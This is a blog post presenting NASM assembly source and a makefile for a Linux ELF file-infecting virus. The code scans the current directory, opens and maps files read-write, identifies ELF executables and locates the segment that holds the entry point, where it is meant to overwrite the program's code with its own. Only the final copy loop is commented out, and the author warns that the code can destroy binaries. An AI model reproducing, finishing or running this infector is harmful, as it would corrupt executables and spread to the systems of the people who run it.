GNU/linux virii example

Warning, this code can be destroy binaries on local directory!
Is dangerous code, use at your own risk and NEVER run as root

Code:
%define _syscall 0x80

%define _exit  0x1
%define _write  0x4
%define _open  0x5
%define _close  0x6
%define _lseek  0x13
%define _readdir 0x59
%define _mmap  0x5a
%define _munmap  0x5b

%define STDOUT  0x1
%define O_RDONLY 0x0
%define O_RDWR  0x2
%define SEEK_END 0x2
%define PROT_READ 0x1
%define PROT_WRITE 0x2
%define MAP_SHARED 0x1
%define PT_LOAD  0x1

%define CODE_START EBP-4
%define CODE_END EBP-8
%define DIR_DESCRIPTOR EBP-16
%define DIR_POINTER EBP-20
%define FILE_DESCRIPTOR EBP-296
%define FILE_SIZE EBP-300
%define MMAP_ADDR EBP-332
%define ELF_ENTRYPOINT EBP-344
%define ELF_PHOFF EBP-348
%define ELF_PHSIZE EBP-352
%define ELF_PHNUM EBP-356
%define PH_FILEOFF EBP-368
%define PH_VADDR EBP-372
%define PH_FILESIZE EBP-376

%define MIN_FILESIZE 1024*2
%define MAX_FILESIZE 1024*1024*25

%define FILE_ELF_ENTRYPOINT  24
%define FILE_ELF_PROGRAM_HEADER_OFFSET 32


global _start
section .text

; ####################################################
; # EntryPoint
; ####################################################
_start:
 jmp linux_host
; ####################################################
; # GNU/linux part
; ####################################################

linux_host:
      ; [CODE_START] - 0xc
     ; [CODE_END] + 0x9
 mov EBP, ESP  ; any points must have a reference
 call _end
greetings_str: db "Hello world from GNU/linux!",0xa,0
greetings_str_l equ $ - greetings_str
_real_start:
write_hello_world:
 mov EAX, _write   ;
 mov EBX, STDOUT   ;
 mov ECX, [CODE_START]  ;
 mov EDX, greetings_str_l  ;
 int _syscall   ; write hello
opendir:
 mov EAX, '.'   ; construct string "."
 push EAX    ; actualy on ESP

 mov EAX, _open   ;
 mov EBX, ESP   ;
 mov ECX, O_RDONLY   ;   
 int _syscall   ;
 cmp EAX, -1    ;
 jle exit    ;
 push EAX    ; save the descriptor EBP-16 (DIR_DESCRIPTOR)
 mov EAX, 446   ;
 push EAX    ; save the actual dirp in EBP-16 (DIR_POINTER)
 sub ESP, 268   ; allocate space for readdir struct
readdir:
 mov EAX, _readdir
 mov EBX, [DIR_DESCRIPTOR]
 mov ECX, ESP
 mov EDX, [DIR_POINTER]
 int _syscall
 cmp EAX, 1
 jne .exit
 mov [DIR_POINTER], EAX
 call open
 jmp readdir
.exit:
 mov EAX, _close   ;
 mov EBX, [DIR_DESCRIPTOR]  ;
 int _syscall   ; close directory
 add ESP, 4    ; restore stack
 jmp exit

open:
 mov EAX, _open   ; open file
 mov EBX, EBP   ;
 sub EBX, 278   ; obtain file name string from stack
 mov ECX, O_RDWR    ;    
 int _syscall   ;
 cmp EAX, -1    ;
 jle .exit    ;
 push EAX    ; save the descriptor (FILE_DESCRIPTOR)
.filesize:
 mov EAX, _lseek   ;
 mov EBX, [FILE_DESCRIPTOR]  ;
 mov ECX, 0x0   ;
 mov EDX, SEEK_END   ;
 int _syscall   ; determine filesize
.filters:
 cmp EAX, MIN_FILESIZE  ;
 jle .close    ; simple minimum filesize filter
 cmp EAX, MAX_FILESIZE  ;
 jge .close    ; simple maximum filesize filter
 push EAX    ; save the file size in (FILE_SIZE)
 call mmap
 add ESP, 4
.close:
 mov EAX, _close   ;
 mov EBX, [FILE_DESCRIPTOR]  ;
 int _syscall   ; close file
 add ESP, 4    ; restore stack
.exit:
 ret
mmap:
 mov EAX, 0x0
 push EAX
 mov EAX, [FILE_DESCRIPTOR]
 push EAX
 mov EAX, MAP_SHARED
 push EAX
 mov EAX, PROT_READ | PROT_WRITE
 push EAX
 mov EAX, [FILE_SIZE]
 push EAX
 mov EAX, 0x0
 push EAX
 mov EBX, ESP
 mov EAX, _mmap
 int _syscall
 cmp EAX, -1
 je .restoremap
 push EAX  ; save mmap addr (MMAP_ADDR)
 call identify
.munmap:
 mov EAX, _munmap
 mov EBX, [MMAP_ADDR]
 mov ECX,[FILE_SIZE]
 int _syscall
 add ESP, 4
.restoremap:
 add ESP, 24    ; restore stack
.exit:
 ret
identify:
 mov EBX, [MMAP_ADDR]
 mov EAX, [EBX]
 cmp EAX, 0x464c457f   ; 0x7f, 'E', 'L', 'F'
 jne .exit
 add EBX, 4
 mov EAX, [EBX]
 cmp EAX, 0x00010101   ; 0x1, 0x1, 0x1, 0x0
 jne .exit
 call iself
.exit:
 ret
iself:
 mov EBX, [MMAP_ADDR]  ;
 add EBX, FILE_ELF_ENTRYPOINT ;
 mov EAX, [EBX]   ; obtain entrypoint
 push EAX    ; save entrypoint (ELF_ENTRYPOINT)

 add EBX, 4    ;
 mov EAX, [EBX]   ; obtain program header offset
 push EAX    ; save them (ELF_PHOFF)

 cmp EAX, 0    ; have a valid program
 je .exit    ; header?

 add EBX, 14    ;
 mov EAX, 0    ;
 mov AX, [EBX]   ; obtain program header entry
 push EAX    ; size and save them (ELF_PHSIZE)

 add EBX, 2    ;
 mov EAX, 0    ;
 mov AX, [EBX]   ; obtain program headers number
 push EAX    ; and save them (ELF_PHNUM)

 mov EDX, [MMAP_ADDR]  ;
 add EDX, [ELF_PHOFF]  ;
 sub EDX, [ELF_PHSIZE]  ; addr of section

 mov ECX, 0    ;
 mov CX, [ELF_PHNUM]   ; counter for loop

.walksections:
 add EDX, [ELF_PHSIZE]  ; next section
 mov EAX, [EDX]   ;
 push EDX
 push ECX
 cmp EAX, PT_LOAD   ;
 je .isloadable   ; is loadable segment?
.postloadbl:
 pop ECX
 pop EDX
 loop .walksections
.cleanup:
 add ESP, 8
.exit:
 add ESP, 8
 ret
.isloadable:
 add EDX, 4
 mov EAX, [EDX]
 push EAX    ; save file offset PH_FILEOFF
 add EDX, 4
 mov EAX, [EDX]
 push EAX    ; save virtual addr PH_VADDR
 add EDX, 8
 mov EAX, [EDX]
 push EAX    ; save size in file PH_FILESIZE

 mov EAX, [PH_VADDR]   ;
 mov EBX, [ELF_ENTRYPOINT]  ;

 cmp EAX, EBX   ; is the entrypoint more than
 jge .clean    ; this section?

 mov EAX, [PH_FILESIZE]  ;
 add EAX, [PH_VADDR]   ; max size
 mov EBX, [ELF_ENTRYPOINT]  ;

 cmp EAX, EBX   ; is the entrypoint smaller than
 jle .clean    ; this section?
   ; at this point the section are identified by the code
 call infectroutine
.clean:
 add ESP, 12
 jmp .postloadbl
infectroutine:
 mov EAX, [ELF_ENTRYPOINT]  ;
 sub EAX, [PH_VADDR]   ;
 add EAX, [PH_FILEOFF]  ; offset code in EAX
 add EAX, [MMAP_ADDR]  ; mem offset
      ; [CODE_START] - 0xc
     ; [CODE_END] + 0x9
 mov ECX, [CODE_START]   ;
 sub ECX, 0xc    ; start addr
 mov EDX, [CODE_END]    ; end addr

.cloneloop:
; Comented for security reasons
; mov BL, [ECX]   ;
; mov [EAX], BL   ; dump virii
; add EAX, 1    ;
; add ECX, 1
; cmp ECX, EDX
; jl .cloneloop
 ret
exit:
 mov EAX, _exit
 mov EBX, 69
 int _syscall
_end:
 call _real_start


And the makefile:
all: virii
virii:
nasm -f elf virii_linux.nasm
ld -e _start virii_linux.o -o virii_linux


Posted at BinaryCell

Comments

Popular Posts